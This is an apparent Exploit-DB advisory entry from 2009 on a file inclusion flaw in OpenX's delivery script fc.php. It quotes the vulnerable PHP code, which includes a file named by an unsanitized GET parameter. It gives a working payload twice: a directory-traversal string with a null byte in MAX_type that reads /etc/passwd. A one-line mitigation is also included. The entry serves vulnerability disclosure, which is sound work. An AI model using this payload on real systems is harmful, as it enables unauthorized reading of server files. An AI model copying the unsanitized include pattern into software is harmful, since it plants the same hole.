OpenX Remote File Inclusion Vulnerability

vendor:

OpenX

by:

Charlie Briggs

7.5

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: OpenX

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

OpenX Remote File Inclusion Vulnerability

OpenX is vulnerable to a remote file inclusion vulnerability due to insufficient sanitization of user-supplied input. An attacker can exploit this vulnerability by appending a null byte to the end of a string and using directory traversal in the GET parameter MAX_type, like so: /www/delivery/fc.php?MAX_type=../../../../../../../../../../../../../../../etc/passwd%00, which will allow the attacker to view the /etc/passwd file.

Mitigation:

Sanitize user-supplied input to prevent directory traversal attacks.

Source

Exploit-DB raw data:

<snip>
include_once '../../init-delivery.php';
$MAX_PLUGINS_AD_PLUGIN_NAME = 'MAX_type';
if(!isset($_GET[$MAX_PLUGINS_AD_PLUGIN_NAME])) {
echo $MAX_PLUGINS_AD_PLUGIN_NAME . ' is not specified';
exit(1);
}
$tagName = $_GET[$MAX_PLUGINS_AD_PLUGIN_NAME];
$tagFileName = MAX_PATH . '/plugins/invocationTags/'.$tagName.'/'.$tagName.'.delivery.php';
if(!file_exists($tagFileName)) {
echo 'Invocation plugin delivery file "' . $tagFileName . '" doesn\'t exists';
exit(1);
}
include $tagFileName;
</snip>

If a null byte is appended to the end of a string, and directory traversal is used in the GET parameter MAX_type, 
like so: /www/delivery/fc.php?MAX_type= ../../../../../../../../../../../../../../../etc/passwd%00, you will see 
the /etc/passwd file before you ;)

-Charlie Briggs [Elites0ft.com]

# milw0rm.com [2009-01-26]